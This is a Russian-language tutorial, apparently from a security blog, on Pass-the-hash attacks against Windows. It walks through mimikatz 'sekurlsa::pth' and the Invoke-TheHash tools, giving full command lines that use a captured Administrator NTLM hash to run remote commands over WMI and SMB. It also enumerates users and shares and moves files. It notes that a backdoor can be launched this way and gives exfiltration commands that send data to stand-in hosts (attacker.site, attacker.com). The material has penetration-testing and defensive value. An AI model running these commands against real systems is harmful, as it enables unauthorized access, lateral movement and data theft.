Атака Pass-the-hash (как использовать NTLM без взлома пароля)


Это вторая часть, посвящённая аудиту безопасности Windows и оценке надёжности паролей пользователей, рекомендуется начать знакомство с первой части, которая называется «Как взломать пароль Windows».

Как использовать NTLM без взлома пароля: атака Pass-the-hash

Атака Pass-the-hash позволяет не подбирать пароль, а использовать непосредственно хеш.

mimikatz может выполнить известную операцию 'Pass-The-Hash' для запуска процесса под другими учётными данными с хешем NTLM пользовательского пароля вместо его реального пароля. Для этого программа запускает процесс с поддельной идентификацией, затем заменяет фальшивую информацию (NTLM хеш фальшивого пароля) на реальную информацию (NTLM хеш реального пароля).

Для выполнения этой атаки mimikatz, который умеет выполнять команды от другого пользователя, вначале нужно дать процессу привилегии отладки debug:

privilege::debug
token::whoami
token::elevate

Затем нужно запустить команду вида:

sekurlsa::pth /user:ПОЛЬЗОВАТЕЛЬ /domain:ДОМЕН /ntlm:ХЕШ /run:КОМАНДА

Вместо ДОМЕН нужно указать полностью определённое доменное имя или имя рабочей группы, если выполняется для локального пользователя. Опцию /run:КОМАНДА можно пропустить и тогда будет выполнено cmd.exe (откроется приглашение командной строки).

Пример:

sekurlsa::pth /user:Alexey /domain:workgroup /ntlm:ca76a176340f0291e1cc8ea7277fc571 /run:taskmgr

Но мне кажется, что это не работает (возможно, я делаю что-то не так).

Но точно работает программа Invoke-TheHash, которая использует NTLM хеш для выполнения команд на удалённых системах, а также сбора информации и работе с файлами в сетевых папках. То есть для всех этих действий не требуется расшифровывать пароль из NTLM хеша.

Invoke-TheHash включает в себя следующие функции:

  • Invoke-WMIExec (выполнения команд через WMI)
  • Invoke-SMBExec (выполнения команд через SMB (PsExec))
  • Invoke-SMBEnum (выполняет перечисление пользователей, групп, сетевых сессий и совместных ресурсов)
  • Invoke-SMBClient (клиент SMB)
  • Invoke-TheHash (для запуска функций Invoke-TheHash в отношении множества целей)

Установка и запуск Invoke-TheHash в Windows

Скрипты Invoke-TheHash написаны на PowerShell, поэтому настоятельно рекомендуется ознакомиться со статьёй «Настройка рабочего окружения PowerShell в Windows и Linux» в которой вы найдёте ответы на многие вопросы новоичков в использовании PowerShell, а также пример исправления ошибки в скрипте Invoke-TheHash при его запуске в Linux.

Скачайте файлы скриптов: https://github.com/Kevin-Robertson/Invoke-TheHash/archive/master.zip

Переходим в каталог со скриптами (у вас может быть другой путь):

cd C:\Users\MiAl\Downloads\Invoke-TheHash-master\

Для запуска импортируйте функции:

Import-Module ./Invoke-TheHash.psd1

И используйте эти функции для запуска:

Invoke-WMIExec
Invoke-SMBExec
Invoke-SMBEnum
Invoke-SMBClient
Invoke-TheHash

В качестве целевого компьютера мы будем использовать Windows Server 2019, имя компьютера HACKWARE-SERVER, IP компьютера 192.168.0.53. При запуске атаки из Windows, можно использовать имя компьютера, а при запуске атаки из Linux, имя компьютера вряд ли будет преобразовано в IP, поэтому лучше сразу указать IP адрес.

Для этого компьютера добыт NTLM хеш:

User : Администратор
  Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f

На Windows Server невозможно создать учётную запись Администратора без пароля либо со слабым паролем (смотрите «Какой пароль подойдёт для Windows сервера») и поэтому мы можем предположить, что не удалось взломать NTLM хеш. Рассмотрим варианты, как мы можем его использовать.

NTLM хеш и выполнения команд через WMI

Windows Management Instrumentation (WMI) в дословном переводе — инструментарий управления Windows. WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows.

Если не вдаваться в подробности WMI, то эта технология используется для управления Windows компьютерами по сети и, среди прочего, позволяет выполнять команды на удалённых компьютерах. Минус практической атаки на WMI в том, что по умолчанию на обычных рабочих станциях Windows технология WMI отключена и/или доступ закрыт файерволом. Но на Windows Server технология WMI доступна.


Чтобы удостовериться, доступен ли WMI на удалённом компьютере, нужно запустить команду вида:

Get-WmiObject -Namespace "root\cimv2" -Class Win32_LogicalDisk -ComputerName ИМЯ_ИЛИ_IP_КОМПЬЮТЕРА -Credential ИМЯ_КОМПЬЮТЕРА\ПОЛЬЗОВАТЕЛЬ

К примеру, я хочу проверить, доступен ли WMI для пользователя Администратор на компьютере с именем HACKWARE-SERVER:

Get-WmiObject -Namespace "root\cimv2" -Class Win32_LogicalDisk -ComputerName HACKWARE-SERVER -Credential HACKWARE-SERVER\Администратор

Вы увидите окно запроса аутентификации на удалённой системе:

И в случае если всё хорошо (пароль правильный и WMI поддерживается), то вы увидите информацию о файловой системе на удалённом компьютере:

Если у вас действительно нет пароля, то переходим сразу к Invoke-WMIExec.

Нужно запустить команду вида:

Invoke-WMIExec -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Command "КОМАНДА" -verbose

Где:

  • -Target — Имя хоста или IP адрес цели.
  • -Username — Имя пользователя для использования в аутентификации.
  • -Domain — Домен для использования в аутентификации. Этот параметр не нужен с локальными аккаунтами или когда используется @domain после имени пользователя.
  • -Hash — NTLM хеш пароля для аутентификации. Эта функция примет как LM:NTLM, так и NTLM формат.
  • -Command — Команда для выполнения на цели. Если команда не указана, то функция просто проверит, имеет ли пользователь и хеш доступ к WMI на целевой системе.
  • -Sleep — По умолчанию = 10 миллисекунд: Устанавливает значение функции Start-Sleep в миллисекундах.

Моя реальная команда:

Invoke-WMIExec -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Command "powershell.exe ls C:\ > c:\file.txt" -verbose


В этом примере на удалённой системе выполнилась команда:

powershell.exe ls C:\ > c:\file.txt

То есть в оболочке PowerShell выполнено

ls C:\ > c:\file.txt

Где

  • ls C:\ - означает показать список файла корня диска C:
  • > - означает полученный результат перенаправить в файл
  • c:\file.txt — это файл, куда перенаправлен вывод команды ls

То есть в результате на удалённой системе должен был создаться файл c:\file.txt, проверим:


По описанной технологии можно запускать бэкдор или любой другой файл или команду.

Используя команду PowerShell Invoke-Webrequest можно передавать файлы с атакуемой машины на другую:

Invoke-Webrequest https://attacker.site/?base64=СТРОКА
Invoke-Webrequest attacker.com/i.php -method POST -infile file.zip

Выполнение команд через PsExec

В целом всё очень похоже на функцию Invoke-WMIExec:

Invoke-SMBExec -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Command "КОМАНДА" -verbose

В моих тестах мне не удалось перенаправить вывод с SMBExec в файл, но функция работает, например, я выполнил следующую команду:

Invoke-SMBExec -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Command "powershell.exe Invoke-Webrequest 192.168.0.89" -verbose

Полезной нагрузкой в ней является:

powershell.exe Invoke-Webrequest 192.168.0.89

Делался запрос к веб-серверу к логам которого у меня есть доступ, и там я увидел соответствующую строку, подтверждающую, что к веб-серверу был сделан запрос от атакуемой машины:

192.168.0.53 - - [04/Feb/2020:17:19:07 +0300] "GET / HTTP/1.1" 200 2614 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; ru-RU) WindowsPowerShell/5.1.17763.771"

Извлечение информации об удалённой системе из SMB

Invoke-SMBEnum выполняет перечисление пользователей, групп, сетевых сессий и совместных ресурсов (принтеров и сетевых папок) по SMB2.1 с или без входа по SMB.

Использование:

Invoke-SMBEnum -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -verbose

Все опции уже знакомы, но отсутствует опция с командой. Вместо неё есть новое опция с действием:

  • -Action - (возможные варианты: All, Group, NetSession, Share, User) По умолчанию = Share: Эта опция указывает, какое действие по перечислению выполнить.

Пример реальной команды:

Invoke-SMBEnum -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action All -verbose

Команда сработала, но что-то не то с кодировкой:

SMB клиент с входом по NTLM хешу

SMB клиент позволяет скачивать и закачивать файлы на сетевую папку. SMB клиентов много, уникальность Invoke-SMBClient в использовании NTLM хеша вместо пароля:

Invoke-SMBClient -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Action ДЕЙСТВИЕ -Source \\СЕРВЕР\ПАПКА -Destination ФАЙЛ -verbose

Действие может быть следующим:


  • -Action — По умолчанию = List: (возможные варианты: List, Recurse, Delete, Get, Put) Действие для выполнения.
  • List: Выводит список содержимого директории.
  • Recurse: Выводит список содержимого директории и всех поддиректорий.
  • Delete: Удаляет файл.
  • Get: Загружает файл.
  • Put: Выгружает файл и устанавливает метки времени создания, доступа и последней записи для соответствия исходного файлу.

В зависимости от выбранного действия, источником (Source) может быть следующее:

  • -Source
  • List и Recurse: UNC путь к директории.
  • Delete: UNC путь к файлу.
  • Get: UNC путь к файлу.
  • Put: Файл для выгрузки. Если полный путь не указан, то файл должен быть в текущей директории. Когда используется переключатель 'Modify', 'Source' должен быть массивом байтов.

В зависимости от выбранного действия, новым файлом на локальной системе (Destination) может быть следующее:

  • -Destination
  • List и Recurse: Не используется.
  • Delete: Не используется.
  • Get: Если используется, значение будет новым именем загруженного файла. Если полный путь не указан, то файл будет создан в текущей директории.
  • Put: UNC путь для выгружаемого файла. Имя файла должно быть указано.

Рассмотрим примеры самых ходовых действий.

Просмотр содержимого сетевой папки с именем Share-Server на компьютере \\HACKWARE-SERVER:

Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action List -Source \\HACKWARE-SERVER\Share-Server -verbose

Скачать файл changelog.txt из папки Share-Server с компьютера \\HACKWARE-SERVER и сохранение его в текущую рабочую директорию локального компьютера с именем changelog_server.txt:

Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action Get -Source \\HACKWARE-SERVER\Share-Server\changelog.txt -Destination changelog_server.txt -verbose

Закачка файла Invoke-TheHash.ps1, расположенного на локальном компьютере в директории C:\Users\MiAl\Downloads\Invoke-TheHash-master\, на компьютер \\HACKWARE-SERVER в папку Share-Server с именем Script.ps1:

Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action Put -Source C:\Users\MiAl\Downloads\Invoke-TheHash-master\Invoke-TheHash.ps1 -Destination \\HACKWARE-SERVER\Share-Server\Script.ps1 -verbose

Invoke-TheHash

Invoke-TheHash — это функция для запуска функций Invoke-TheHash в отношении множества целей.

Больше подробностей и примеров смотрите в документации: https://kali.tools/?p=5380

Заключение

Итак, в этой и предыдущей статье мы узнали:

  • о существовании NTLM хеша,
  • о том, где хранится пароль пользователя Windows,
  • о том, что при наличии онлайн аккаунта Microsoft хеш пароля всё равно хранится на локальном компьютере
  • как взломать пароль пользователя Windows
  • как использовать NTLM хеш без взлома

Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *